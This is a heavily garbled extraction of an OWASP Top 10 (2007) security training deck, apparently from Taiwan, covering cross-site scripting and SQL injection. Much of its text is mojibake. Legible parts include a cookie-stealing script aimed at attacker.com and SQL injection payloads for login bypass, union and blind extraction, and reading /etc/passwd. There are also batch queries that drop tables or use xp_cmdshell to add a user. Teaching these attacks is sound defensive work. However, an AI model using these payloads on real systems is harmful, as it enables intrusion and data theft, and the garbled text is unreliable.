� � ; �� ; �� ; �� ; � 30 ¶ Y � � · ) ¸ ¹¶ Y � � · ) ¸ ¹¶ Y � � · ) ¸ ¹¶ Y � � · ) ¸ ¹ QQQQº » e ¼ _ )º » e ¼ _ )º » e ¼ _ )º » e ¼ _ ) OWASP Top 10(½½½½
¾¾¾¾Web ¿ À¿ À¿ À¿ À )QQQQÁ �Á �Á �Á � WebGoat( Â Ã Ä ÅÂ Ã Ä ÅÂ Ã Ä ÅÂ Ã Ä Å ) Æ Ç È ÉÆ Ç È ÉÆ Ç È ÉÆ Ç È É ���� Enterprise 
Security API (ESAPI)���� OWASP Guide Project Ê ¸ ¹Ê ¸ ¹Ê ¸ ¹Ê ¸ ¹ QQQQË Ì cË Ì cË Ì cË Ì c

d ) � � w x y z Í � � Î Ï ]� Ðd ) � � w x y z Í � � Î Ï ]� Ðd ) � � w x y z Í � � Î Ï ]� Ðd ) � � w x y z Í � � Î Ï ]� Ð ����



OWASPOWASP 20072007 �  � � � � � � ��  � � � � � � ��  � � � � � � ��  � � � � � � ��  � � � � � � ��  � � � � � � ��  � � � � � � ��  � � � � � � �

� Cross-Site Scripting ( � � � � � �� � � � � �� � � � � �� � � � � � )
� ��������������������Cookie����Session � � 	 
� � 	 
� � 	 
� � 	 


� Injection Flaw ( �  �  �  �  )
� ��� �  � � 	 � ���� �  � � 	 � ���� �  � � 	 � ���� �  � � 	 � � ������ � � � � � � ��� � � � � � � ��� � � � � � � ��� � � � � � � �

� Malicious File Execution ( ! " # �! " # �! " # �! " # � )
� � � � � � � � � � �  ! " # $� � � � � � � � � �  ! " # $� � � � � � � � � �  ! " # $� � � � � � � � � �  ! " # $

� Insecure Direct Object Reference ( $ % & '$ % & '$ % & '$ % & ' )
� � � � � � � % & ' ( ) * �+ , �- . 	 �� � � � � � % & ' ( ) * �+ , �- . 	 �� � � � � � % & ' ( ) * �+ , �- . 	 �� � � � � � % & ' ( ) * �+ , �- . 	 �

(http://owasp.org.tw/blog/2007/05/owasp2007webowasp.html)

� � � � � � � % & ' ( ) * �+ , �- . 	 �� � � � � � % & ' ( ) * �+ , �- . 	 �� � � � � � % & ' ( ) * �+ , �- . 	 �� � � � � � % & ' ( ) * �+ , �- . 	 �

� Cross-Site Request Forgery ( � � ( ) * +� � ( ) * +� � ( ) * +� � ( ) * + )
� / � �/ � �/ � �/ � � Web � � � � �0 1 2 � ) # $ 3 4 5 �� � � � �0 1 2 � ) # $ 3 4 5 �� � � � �0 1 2 � ) # $ 3 4 5 �� � � � �0 1 2 � ) # $ 3 4 5 �HTTP 6 76 76 76 7

� Information Leakage and Improper Error Handling,,,,� - . /� - . /� - . /� - . / 0000
� 8 9 
 : ; < = > ? 	 �8 9 
 : ; < = > ? 	 �8 9 
 : ; < = > ? 	 �8 9 
 : ; < = > ? 	 �

� Broken Authentication and Session Management,,,,1 2 3 41 2 3 41 2 3 41 2 3 4 0000
� @ A B C D E F G H@ A B C D E F G H@ A B C D E F G H@ A B C D E F G H

� Insecure Cryptographic Storage,,,,� � 5 6� � 5 6� � 5 6� � 5 6 0000
� > ? I 	 � J F K L M *> ? I 	 � J F K L M *> ? I 	 � J F K L M *> ? I 	 � J F K L M *

� Insecure Communication,,,,� � 7 8 5 6� � 7 8 5 6� � 7 8 5 6� � 7 8 5 6 0000
� > ? I 	 � J F K L N O> ? I 	 � J F K L N O> ? I 	 � J F K L N O> ? I 	 � J F K L N O

� Failure to Restrict URL Access,,,,9 : 5 69 : 5 69 : 5 69 : 5 6 0000
� P Q � � R J S � * �P Q � � R J S � * �P Q � � R J S � * �P Q � � R J S � * �



OWASP Top10(2007)-1
Cross-Site Scripting



OWASP Top 10 (2007) OWASP Top 10 (2007) -- 11

�Cross-Site Scripting
� CSS����XSS����   �� �� � �� �� �� � _ `_ `_ `_ `

� ò ó ô õ Å öò ó ô õ Å öò ó ô õ Å öò ó ô õ Å ö :
� w Ox P | A ; ù æ � ô õ � �w Ox P | A ; ù æ � ô õ � �w Ox P | A ; ù æ � ô õ � �w Ox P | A ; ù æ � ô õ � � �� �� � 
 �� 
 �� 
 �� 
 � ����
ôôôô � �� �� �� � � �� �� �� � � �� �� �� � * õ* õ* õ* õ � � �� � �� � �� � � ¦¦¦¦ôôôô � �� �� �� � � �� �� �� � � �� �� �� � * õ* õ* õ* õ � � �� � �� � �� � � ¦¦¦¦

–��������� � �� � �� � �� � �

–��������� � �� � �� � �� � �

� � � ÷ b � � ø ò ó ù ú E ÷ U û ü ý þ� � ÷ b � � ø ò ó ù ú E ÷ U û ü ý þ� � ÷ b � � ø ò ó ù ú E ÷ U û ü ý þ� � ÷ b � � ø ò ó ù ú E ÷ U û ü ý þ
����Z [ ® ¿ UZ [ ® ¿ UZ [ ® ¿ UZ [ ® ¿ U Script



� � �� � �� � �� � �� � �� � �� � �� � � XSSXSS � �� �� �� �� �� �� �� � :: � � � �� � � �� � � �� � � �� � � �� � � �� � � �� � � � !!
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� � �� � �� � �� � �� � �� � �� � �� � � XSSXSS � �� �� �� �� �� �� �� � (cont.)(cont.)
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� � �� � �� � �� � �� � �� � �� � �� � � XSSXSS � �� �� �� �� �� �� �� � : :  ! " ! " ! " ! " ! " ! " ! " ! "
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OWASP Top 10 (2007) OWASP Top 10 (2007) -- 11

� � �� �� �� � ��������:
� �� �� K ¼K ¼K ¼K ¼ �� �� OPOPOPOP URL���� � � � �� � � �� � � �� � � � j ¢9j ¢9j ¢9j ¢9 ¦¦¦¦

� % �% �% �% � � �  � �  � �  � �  ÝÝ ÝÝ ����!! !! : ã: ã: ã: ã �������� " # $ �" # $ �" # $ �" # $ � j ¢9j ¢9j ¢9j ¢9 ¦¦¦¦

� b c � � d eb c � � d eb c � � d eb c � � d e :
� � %� %� %� % � ø �� ø �� ø �� ø � && && W PW PW PW P “ ' (' (' (' ( ”
� )) )) T w Ox n o � QT w Ox n o � QT w Ox n o � QT w Ox n o � Q

– 	 
 � � � 	 
 � � � 	 
 � � � 	 
 � � �  (cookie)
– � � � � � � � � � � � � �� � � � � � � � � � � � �� � � � � � � � � � � � �� � � � � � � � � � � � �

– � � � � � � � �� � � � � � � �� � � � � � � �� � � � � � � � !

� ** ** w Ox ¿w Ox ¿w Ox ¿w Ox ¿ + , -+ , -+ , -+ , - � �� �� �� � ����³³³³ .. .. � T * õ � Q� T * õ � Q� T * õ � Q� T * õ � Q ¦¦¦¦

�XSS / 0/ 0/ 0/ 0 ���� L M �L M �L M �L M � 11 11



# $ % � � & �# $ % � � & �# $ % � � & �# $ % � � & �# $ % � � & �# $ % � � & �# $ % � � & �# $ % � � & � ??
(http://anti-hacker.blogspot.com/2009/08/sorry.html)
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Cross Site Scripting Cross Site Scripting ' �' �' �' �' �' �' �' �



( )( )( )( )( )( )( )( ) CookieCookie

www.victim.com.tw; < = > ?; < = > ?; < = > ?; < = > ?

���� + Cookies

� � � � 	 
 � ��  �

( � � �� � �� � � )

T U VT U VT U VT U V WWWWX Y Z 4 5 [ \X Y Z 4 5 [ \X Y Z 4 5 [ \X Y Z 4 5 [ \

<SCRIPT>Send Cookie to 
attacker.com</SCRIPT>

����

@ <@ <@ <@ <

http://www.victim.com.tw/login/

Victim.com 
Cookie

4 5 � ] ^ _4 5 � ] ^ _4 5 � ] ^ _4 5 � ] ^ _

http://www.victim.com.tw
/account.jsp? <SCRIPT>Send cookie to attacker.com Victim.com 

Cookie

` a b` a b` a b` a b

cccc# $# $# $# $ cccc



* + , �* + , �* + , �* + , �* + , �* + , �* + , �* + , � XSS XSS - .- .- .- .- .- .- .- .

� � �� �� �� � b � Ub � Ub � Ub � U URL –
� http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=<script>al
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XSSXSS Shell (cont.)Shell (cont.)



XSSXSS WormWorm

�2005  : Samy Worm
� % �% �% �% � 2 32 32 32 3 � �� �� �� � MySpace
� 4 
4 
4 
4 
 :

–GGGGH I � JH I � JH I � JH I � J Profile K � L MK � L MK � L MK � L M “Samy is my hero”
2005.10.4 20 – 2005.10.4 N !N !N !N ! ���� 20 " O � P Q R S H I �" O � P Q R S H I �" O � P Q R S H I �" O � P Q R S H I �

�2007 :
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�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A

����������������� + �� � ��� � ��� � ��� � � !
�����������������

� 55 55 gg gg 66 66

� � g� g� g� g 66 66
set Reg = new RegExp
with Reg

.Pattern = "['”#:;()<>,=+ ]"

.Global = True
end with
test = Reg.Replace( Request.QueryString(“test”) , “” )

?

<<script>>… ?!
<scr<script>ipt> ….?!



�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A (cont.)(cont.)

�Packages & Resources
– .NET

Microsoft Anti-Cross Site Scripting Library V1.5
(MSDN)(http://www.microsoft.com/downloads/details.a
spx?FamilyID=efb9c819-53ff-4f82-bfaf-
e11625130c25&DisplayLang=en)

– JAVA: – JAVA: 
DeXSS -- Java program for removing JavaScript from 
HTML (http://software.graflex.org/dexss)
OWASP Stinger Project (A Java EE validation filter) 
(http://www.owasp.org/index.php/Category:OWASP_St
inger_Project)
How to Build an HTTP Request Validation Engine for 
Your J2EE 
Application(http://www.owasp.org/index.php/How_to_B
uild_an_HTTP_Request_Validation_Engine_for_Your_
J2EE_Application)



�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A (cont.)(cont.)

�Packages & Resources (cont.)
– OWASP ESAPI Project

OWASP Enterprise Security API
(http://www.owasp.org/index.php/Category:OWASP_E
nterprise_Security_API#tab=About)
Support LanguagesSupport Languages

Java EE
.NET
Classic ASP
PHP
ColdFusion & CFML
Phthon
Haskell



�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A (cont.)(cont.)

��� � ��� � ��� � ��� � � : Sanitization( � 	� 	� 	� 	 )
� % �% �% �% � 77 77 ÒÒ ÒÒ ���� 8 9 � � �8 9 � � �8 9 � � �8 9 � � � · ¸· ¸· ¸· ¸ �� �� “ � Q� Q� Q� Q ” !!!

– T U V ! �  � � W X YT U V ! �  � � W X YT U V ! �  � � W X YT U V ! �  � � W X Y ���� HTML-Encoding 

PHP: Ensure output is passed through 
htmlentities() or htmlspecialchars()



�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A (cont.)(cont.)

– T U V ! �  �T U V ! �  �T U V ! �  �T U V ! �  � URL����URL-Encoding 
e.g. HttpUtility.UrlEncode()

� Ó Y � HÓ Y � HÓ Y � HÓ Y � H �� �� � P� P� P� P HTTP response : 7: 7: 7: 7 ÒÒ ÒÒ ;; ;; �� ��
<<<<ISO-8859-1( UU UU �� �� UTF-8)

– = O Z � � [ \ � ] ^ 4 5 > ? _ ` a b [ c �= O Z � � [ \ � ] ^ 4 5 > ? _ ` a b [ c �= O Z � � [ \ � ] ^ 4 5 > ? _ ` a b [ c �= O Z � � [ \ � ] ^ 4 5 > ? _ ` a b [ c �– = O Z � � [ \ � ] ^ 4 5 > ? _ ` a b [ c �= O Z � � [ \ � ] ^ 4 5 > ? _ ` a b [ c �= O Z � � [ \ � ] ^ 4 5 > ? _ ` a b [ c �= O Z � � [ \ � ] ^ 4 5 > ? _ ` a b [ c �

– Content-Type: text/html; charset = ISO-8859-1
– For .NET :

web.config

Per-Page Setting



B C DB C DB C DB C DB C DB C DB C DB C D XSS XSS -- DOM Based XSSDOM Based XSS

�Type1 : Non-persistent / Reflected ( ÙÙ ÙÙ � �� �� �� �)
�Type2 : Persistent / Stored ( ¿ �¿ �¿ �¿ � ����)
�Type3 : DOM Based XSS

� == == EE EE >> >> ** ** ? @ � A B �? @ � A B �? @ � A B �? @ � A B � � ��� ��� ��� �� C DC DC DC D w Ox | Aw Ox | Aw Ox | Aw Ox | A� == == EE EE >> >> ** ** ? @ � A B �? @ � A B �? @ � A B �? @ � A B � � ��� ��� ��� �� C DC DC DC D w Ox | Aw Ox | Aw Ox | Aw Ox | A
� Q · Ä P ´� Q · Ä P ´� Q · Ä P ´� Q · Ä P ´ <E<E<E<E �� ��

� � ø E� ø E� ø E� ø E FF FF ÈÈ ÈÈ GG GG w Ox | A � Qw Ox | A � Qw Ox | A � Qw Ox | A � Q 3 H3 H3 H3 H DOM Ü ÝÜ ÝÜ ÝÜ Ý
� w O� w O� w O� w O

– document.location
– document.URL 
– document.referrer
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� �� �� �� �� �� �� �� �
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d e � �d e � �d e � �d e � � ffff

� � �� � �� � �� � � ffff



E FE FE FE F



�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A

� � �� �� �� � � ½ ¾� ½ ¾� ½ ¾� ½ ¾ Script ¡ ¡ ¡ ¡ ( � 2� 2� 2� 2 DOM �� �� ÍÍ ÍÍ )°°°°
		 		 ¿ �  � c¿ �  � c¿ �  � c¿ �  � c

� II II W � øW � øW � øW � ø J KJ KJ KJ K

� � ø �� ø �� ø �� ø � L M NL M NL M NL M N

���� · ¸· ¸· ¸· ¸ OO OO � � p m ¼ Oô õ� � p m ¼ Oô õ� � p m ¼ Oô õ� � p m ¼ Oô õ PP PP ë � ø ��ë � ø ��ë � ø ��ë � ø �� Q %Q %Q %Q %
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�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A (cont.)(cont.)

� �� �� 

 

 // // � �� �� �� � ½ ¾ U½ ¾ U½ ¾ U½ ¾ U Script �� �� �������� � � � � � � � � �� ��
¤ vH � ÷ � � �¤ vH � ÷ � � �¤ vH � ÷ � � �¤ vH � ÷ � � � �� �� f g Uf g Uf g Uf g U DOM �� �� ÍÍ ÍÍ �� ��
88 88 �� �� L �L �L �L � ����
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�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A�? @ A (cont.)(cont.)

� w O¬ ¿w O¬ ¿w O¬ ¿w O¬ ¿ DOM Ü Ý U 5 6Ü Ý U 5 6Ü Ý U 5 6Ü Ý U 5 6 RR RR �� �� S T U VS T U VS T U VS T U V jj jj

– DOM g hg hg hg h
document.URL �document.URLUnencoded �
document.location �document.referrer �window.location�
….

– i j k �i j k �i j k �i j k �– i j k �i j k �i j k �i j k �
document.write(…) �document.writeln(…) �
document.body.innerHtml=… �document.forms[0].action=… 
�document.attachEvent(…) �document.create…(…) �
document.execCommand(…) �document.body. … �
window.attachEvent(…) �document.location.hostname=… 
�document.location.replace(…) �
document.location.assign(…) �window.navigate(…) �
document.open(…) �window.open(…) �eval(…) �
window.execScript(…) ….
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OWASP Top10(2007)-2
Injection Flaw



OWASP Top 10 (2007) OWASP Top 10 (2007) -- 22

�Injection Flaw
� _ ` x % �_ ` x % �_ ` x % �_ ` x % � W X YW X YW X YW X Y AA AA Z [Z [Z [Z [ ** ** ô õ � �ô õ � �ô õ � �ô õ � � \\ \\ ´´ ´´

– SQL Injection
– OS Command Injection
– Code Injection– Code Injection



� SQL Z [ ]Z [ ]Z [ ]Z [ ] A � _ `A � _ `A � _ `A � _ `

������ ¼ % � � � [� ¼ % � � � [� ¼ % � � � [� ¼ % � � � [ ^ _^ _^ _^ _ P � ~ | A -P � ~ | A -P � ~ | A -P � ~ | A - XX XX ����\ | A\ | A\ | A\ | A
� Q �� Q �� Q �� Q � C DC DC DC D GG GG `` `` S QL � � Ò� � Ò� � Ò� � Ò ����% � � � � �% � � � � �% � � � � �% � � � � � 33 33
aa aa ô õ � Qô õ � Qô õ � Qô õ � Q �\�\�\�\ ´´ ´´ ¦¦¦¦

SQL InjectionSQL Injection

� b c d eb c d eb c d eb c d e ���� All !
� ASP����.NET����Java����PHP����CGI ………
� MSSQL����MySQL����Oracle����Sybase����DB2����PostgreSQL ……



SQL InjectionSQL Injection (cont.)(cont.)

� b cb cb cb c �� �� X UX UX UX U � �� �� �� �

� ff ff � l m n o ^ Y� l m n o ^ Y� l m n o ^ Y� l m n o ^ Y gg gg ¼ v¼ v¼ v¼ v hh hh ¦¦¦¦

� S T � � � QS T � � � QS T � � � QS T � � � Q ���� ii ii \ Ù\ Ù\ Ù\ Ù jj jj !!!
� kk kk W � �W � �W � �W � � J KJ KJ KJ K :

109

– l ml ml ml m ����n on on on o ����p q �  r s X Yp q �  r s X Yp q �  r s X Yp q �  r s X Y tttt

– u v w x n o y z �  r su v w x n o y z �  r su v w x n o y z �  r su v w x n o y z �  r s tttt

� ll ll � � Q� � Q� � Q� � Q ���� � � P� � P� � P� � P mm mm �� �� ���� ll ll � � �� � �� � �� � � mm mm �� �� ¦¦¦¦

� \ � � ] ^ P � ä � � �T J � � Ù\ � � ] ^ P � ä � � �T J � � Ù\ � � ] ^ P � ä � � �T J � � Ù\ � � ] ^ P � ä � � �T J � � Ù nn nn Z ÇZ ÇZ ÇZ Ç
���� ]] ]] AA AA , -, -, -, - � �� �� �� � ���� FF FF � a b ] ^� a b ] ^� a b ] ^� a b ] ^ ����…..



G H I JG H I JG H I JG H I JG H I JG H I JG H I JG H I J

& ' � � �  { | }& ' � � �  { | }& ' � � �  { | }& ' � � �  { | }
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~ �~ �~ �~ � AP K � � J � � +K � � J � � +K � � J � � +K � � J � � +

� � � � � J � J � �� � � � � J � J � �� � � � � J � J � �� � � � � J � J � �
SQL � �� �� �� � � �� �� �� �

��������	
���������	
���������	
���������	
�����



K L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P Q

MS SQL
T-SQL MySQL Access Oracle

PL/SQL DB2 Postgres
PL/pgSQL

Concatenate 
Strings

' '+' ' concat  (" ", " ") " "&" " ' '||' ' " "+" " ' '||' '

111

Strings

Null replace Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()

Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()

Op Sys 
interaction

xp_cmdshell select into outfile 
/ dumpfile #date# utf_file import from 

export to Call

Cast Yes No No No Yes Yes



K L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P QK L M N O 	 P Q (cont.)(cont.)

MS SQL MySQL Access Oracle DB2 Postgres

UNION Y Y Y Y Y Y

112

Subselects Y N 4.0
Y 4.1 N Y Y Y

Batch Queries Y N* N N N Y

Default stored 
procedures

Many N N Many N N

Linking DBs Y Y N Y Y N



R S 	 T � UR S 	 T � UR S 	 T � UR S 	 T � UR S 	 T � UR S 	 T � UR S 	 T � UR S 	 T � U

� b c .b c .b c .b c . SQL      �� �� � � (� � (� � (� � ( �� �� �� ��
� �� �� oo oo ; ù; ù; ù; ù
� Cookies
� Í ÎÍ ÎÍ ÎÍ Î HTTP Headers
� ÂÂ ÂÂ 66 66 � Q� Q� Q� Q� ÂÂ ÂÂ 66 66 � Q� Q� Q� Q

– D � � J � �D � � J � �D � � J � �D � � J � �
– D � � J � � � �D � � J � � � �D � � J � � � �D � � J � � � �
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T �T �T �T �T �T �T �T � SQLSQL G HG HG HG HG HG HG HG H V WV WV WV WV WV WV WV W

�SQL Injection ¹¹¹¹ �� �� U � �U � �U � �U � � �� �� || ||
�Bypass Authentication
�Error Based ( ASP + MS-SQL )
�Union Based
�Update Based�Update Based
�Blind
�Batch Queries (MS-SQL)
�Extended Procedure (MS-SQL����Oracle )
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� � � � } � (� � � } � (� � � } � (� � � } � ( � �� �� �� � � �� �� �� � � �� �� �� � ������ �� �� �� SQL    
� �� �� �� � �  �  �  �  
 �
 �
 �
 �

� � �� �� �� � ! "! "! "! " � �� �� �� � :
�‘ or ‘’=‘

Bypass AuthenticationBypass Authentication

�‘ or ‘’=‘
�‘ or 1=1--
�‘ or 1=1/*



Bypass Authentication(cont.)Bypass Authentication(cont.)

www.victim.com.tw

��������

http://www.victim.com.tw/login.jsp

� � � � � �� � � � � �� � � � � �� � � � � � ����	 � 
 � �	 � 
 � �	 � 
 � �	 � 
 � �

� � X �� � X �� � X �� � X �



Why Why X X XX X XX X XX X XX X XX X XX X XX X X

� 0 °U  �0 °U  �0 °U  �0 °U  � # $ %# $ %# $ %# $ %

Select
*

From
Account

� && && �� �� SQL Á X .Á X .Á X .Á X . –
Select

*
From

Account
Where

username=‘[ � �� �� �� � ]’
and
password=‘[ � Ò� Ò� Ò� Ò ]’

Account
Where

username=‘admin’
and
password=‘‘ or 1=1--’



Error BasedError Based

� w Ox \w Ox \w Ox \w Ox \ � � �� � �� � �� � � �I J 2 � Q�I J 2 � Q�I J 2 � Q�I J 2 � Q ����[[ [[ pp pp Õ PÕ PÕ PÕ P q rq rq rq r
è é � �è é � �è é � �è é � � ���� �� �� O� QO� QO� QO� Q �s U t u p�s U t u p�s U t u p�s U t u p ÕÕ ÕÕ :: :: è é �è é �è é �è é �
�� �� vv vv TT TT J KJ KJ KJ K ¦¦¦¦

� ww ww ØØ ØØ 1 21 21 21 2 :: :: � Q� Q� Q� Q �x�x�x�x TT TT ;; ;; �� ��

� � � e � �� � e � �� � e � �� � e � � ASP + MS-SQL � � � � � E� � � � � E� � � � � E� � � � � E� � � e � �� � e � �� � e � �� � e � � ASP + MS-SQL � � � � � E� � � � � E� � � � � E� � � � � E

� � � � � � � � � � �   ¡� � � � � � � � � �   ¡� � � � � � � � � �   ¡� � � � � � � � � �   ¡ %%%%� � � ¢ � £ ¤ � ¥� � � ¢ � £ ¤ � ¥� � � ¢ � £ ¤ � ¥� � � ¢ � £ ¤ � ¥ tttt

� _ `_ `_ `_ ` y z dy z dy z dy z d ÌÌ ÌÌ :
�@@version>1--
� order by 100--
� (select cast(id as nvarchar(4000))+’|’)>1
� (select cast(id as nvarchar(4000))+char(124))>1



Why Why X X XX X XX X XX X XX X XX X XX X XX X X

� 0 °U  �0 °U  �0 °U  �0 °U  � # $ %# $ %# $ %# $ %

Select
*

From

� && && �� �� SQL Á X .Á X .Á X .Á X . –
Select

*
From

News
Where

id= [ �� �� oo oo ; ù; ù; ù; ù id]

News
Where

id= 1 and 
@@version>1--

� SQL Injection (����)– � � � SQL� 	 
 � :
http://www.microsoft.com/taiwan/sql/SQL_Injection_G1.htm
http://www.microsoft.com/taiwan/sql/SQL_Injection_G2.htm



� ' ( ) * � �' ( ) * � �' ( ) * � �' ( ) * � � ¢ £¢ £¢ £¢ £
– V �V �V �V � : 

���� : '' HAVING 1=1----
� � �� : abcd

– ¢¦J��§¨¢¦J��§¨¢¦J��§¨¢¦J��§¨:
SELECT * FROM tblUser WHERE UserName=‘' HAVING 1=1--' 

Attack SampleAttack Sample

SELECT * FROM tblUser WHERE UserName=‘' HAVING 1=1--' 
AND Password=‘abcd'

– © U© U© U© U : 
��	
���:

� � � � � � MS SQL Server�
� � � � � � � � � � � � �  tblUser!" # $ % & ' (
) * + UserID�



�'()*��'()*��'()*��'()*��¢£¢£¢£¢£(cont.)
– V �V �V �V � : 

� � � � : ''GROUP BY UserID HAVING 1=1----
� � � � : abcd

– ¢¦J��§¨¢¦J��§¨¢¦J��§¨¢¦J��§¨:
SELECT * FROM tblUser WHERE UserName=‘' GROUP BY UserID

Attack SampleAttack Sample

SELECT * FROM tblUser WHERE UserName=‘' GROUP BY UserID
HAVING 1=1--' AND Password=‘abcd'

– © U© U© U© U : 
��	
���:

, - . �����% / � # $ � ) * 0 & UserName�



�'()*��'()*��'()*��'()*��¢£¢£¢£¢£(cont.)
– Tª � � « ¬  E ®Tª � � « ¬  E ®Tª � � « ¬  E ®Tª � � « ¬  E ® %%%%¯ ° ! �  { J± z � �¯ ° ! �  { J± z � �¯ ° ! �  { J± z � �¯ ° ! �  { J± z � � %%%%²²²²
� V �� V �� V �� V � : 
� � � � : ''GROUP BY 
UserID,UserName,Password,Pri HAVING 1=1----
� � � � : abcd

Attack SampleAttack Sample

� � � � : abcd

– ¢¦J��§¨¢¦J��§¨¢¦J��§¨¢¦J��§¨:
SELECT * FROM tblUser WHERE UserName=‘' GROUP BY 
UserID,UserName,Password,Pri HAVING 1=1--' AND 
Password=‘abcd'
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Union BasedUnion Based

� � � �� � �� � �� � �+ , �+ , �+ , �+ , � Á dÁ dÁ dÁ d -- -- ½ Á½ Á½ Á½ Á . /. /. /. / SQL       �� ��
�� �� 0 '0 '0 '0 '�� �� � 1� 1� 1� 1 � �� �� �� �

� � �� �� �� � ! "! "! "! " � �� �� �� � :
� id=1 order by 10-- ( ½ ¦¾ �½ ¦¾ �½ ¦¾ �½ ¦¾ � order by ¿ À � � Á Â¿ À � � Á Â¿ À � � Á Â¿ À � � Á Â )
� id=1 union select 1,2,3,4,5--
� id=1 union select 1,2,3,database(),5--
� id=1 union select 1,2,3,(select top 1 name from 

master..sysdatabases where dbid=7),5--
� id=1 union select 1,2,3,load_file(‘/etc/passwd’),5--



Why Why XXXXXXXXXXXXXXXXXXXXXXXX

� 0 ° U  �0 ° U  �0 ° U  �0 ° U  � # $ %# $ %# $ %# $ %

Select
id,user,message

From

� && && �� �� SQL Á X .Á X .Á X .Á X . –
Select

id,user,message
From

board
Where

id= [����oooo;ù;ù;ù;ùid]

board
Where

id= 1
Union select

1,2,version()--
Demo ���� … .



Update BasedUpdate Based

� � � �� � �� � �� � � �� �� P Q �P Q �P Q �P Q � � 2� 2� 2� 2 ����&& && �� �� 3 0 '3 0 '3 0 '3 0 '�� �� �� �� (( ((
SQL       �� �� ����4 54 54 54 5 �P Q Á�P Q Á�P Q Á�P Q Á (�(�(�(� �� �� �� �� ====

� � �� �� �� � ! "! "! "! " � �� �� �� � :
�‘ + @@version + ‘
�‘ + (select name from master..sysdatabases �‘ + (select name from master..sysdatabases 

where dbid=7) +’
�‘,email=(select …  ),’ …



Why Why XXXXXXXXXXXXXXXXXXXXXXXX

� 0 ° U  �0 ° U  �0 ° U  �0 ° U  � # $ %# $ %# $ %# $ %

Update
Member

Set

� && && �� �� SQL Á X .Á X .Á X .Á X . –
Update

Member
Set

email=‘[email]’,
address=‘[ ÈÈ ÈÈ oooo]’

Where
user=‘[ w O x g hw O x g hw O x g hw O x g h ]’

email=‘‘ + passwd + ’’ ,
address=‘[ ÈÈ ÈÈ oooo]’

Where
user=‘[ w O x g hw O x g hw O x g hw O x g h ]’



Blind SQL InjectionBlind SQL Injection

� } �} �} �} � 66 66 $ � %$ � %$ � %$ � % 7 8 9 : ; + ,7 8 9 : ; + ,7 8 9 : ; + ,7 8 9 : ; + , ����<< << ££££

“ Blind”
� � �� �� �� � == == a } � Ua } � Ua } � Ua } � U “ ²²²²”  //// “>>>>”  + ,+ ,+ ,+ , ®® ®® �� �� �� ��

UUUUSQL²²²²>>>>þ � X �þ � X �þ � X �þ � X �

� � �� �� �� � ! "! "! "! " � �� �� �� � :
�id=1 and 1=1
�id=1 and 1=2
�id=1 and (select top 1 

ascii(substring(passwd,1,1)) from users)>79



Why Why XXXXXXXXXXXXXXXXXXXXXXXX

� 0 ° U  �0 ° U  �0 ° U  �0 ° U  � # $ %# $ %# $ %# $ %

Select
*

From

� && && �� �� SQL Á X .Á X .Á X .Á X . –
Select

*
From

����

News
Where

id= [����oooo;ù;ù;ù;ùid]

News
Where

id= 1 and 1=1
(1 and 1=2)
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Attack SampleAttack Sample

� CC CC § �§ �§ �§ � � 1 D E� 1 D E� 1 D E� 1 D E ////FF FF 00 00
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Batch QueriesBatch Queries

� � �� �� �� � ; G �G �G �G � �� �� HH HH Å ©Å ©Å ©Å © BB BB       �� �� ����" I 3" I 3" I 3" I 3 þ �þ �þ �þ �
(( (( �J K L�J K L�J K L�J K L ====(MS-SQL . J. J. J. J )
� ¼¼ ¼¼ zz zz ²² ²² { | }{ | }{ | }{ | } � � Q 
 �� � Q 
 �� � Q 
 �� � Q 
 � ~~ ~~ ~~ ~~ ����Select / 

Insert / Delete / Update����PPPPSQL ~ �~ �~ �~ �

� ¼¼ ¼¼ zz zz ²² ²² � �� �� �� � �� �� � �� �� �� �� ¼¼ ¼¼ zz zz ²² ²² � �� �� �� � �� �� � �� �� �� �

� � �� �� �� � ! "! "! "! " � �� �� �� � :
�id=1 ; drop table account;--
�id=1 ; exec master..xp_cmdshell ‘net user 

Hacker Hacker /add’;--
� ¹ �¹ �¹ �¹ � ((((¤ � � X �¤ � � X �¤ � � X �¤ � � X � ����� �� �� �� � … ..



Extended ProcedureExtended Procedure

� MM MM � � Á ¾ �� � Á ¾ �� � Á ¾ �� � Á ¾ � � 1 N O� 1 N O� 1 N O� 1 N O Stored Procedures
� P QP QP QP Q ½ � Ä½ � Ä½ � Ä½ � Ä RR RR UUUU Batch Queries � �� �� �� � þ �þ �þ �þ �

� � �� �� �� � ! "! "! "! " � �� �� �� � :
� id=1 ; exec master..xp_cmdshell ‘net user Hacker Hacker /add’;--
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1 2 3 � 4 5 � � (MS-SQL) 6 �
xp_cmdshell ��� SQL Server � � � � � 	 
 � �  �

� � � � � �

xp_regXXXX � � � � � � � registry � � �

xp_servicecontrol � � � � �  ! " # �

xp_terminate_process � �  ! �  $ � � % &' ( ) � * + ,

Process ID�

xp_dirtree - .  ! / 0 1 � 2 / 0 3 4 5 6 7 �

xp_oaXXXX � � 8 " 9 : ; OLE < = �



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� � � �� � �� � �� � � �� �� ¨¨ ¨¨ SS SS

� ` ¿ �` ¿ �` ¿ �` ¿ � � 1 T'� 1 T'� 1 T'� 1 T'�� �� �� ��

� �� �� � 1 U V� 1 U V� 1 U V� 1 U V

� W XW XW XW X UUUUY V 7 8 9 :Y V 7 8 9 :Y V 7 8 9 :Y V 7 8 9 :� W XW XW XW X UUUUY V 7 8 9 :Y V 7 8 9 :Y V 7 8 9 :Y V 7 8 9 :



Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [Y � M N Z [

� ZZ ZZ ¢¢¢¢[[ [[ � �� �� �� �

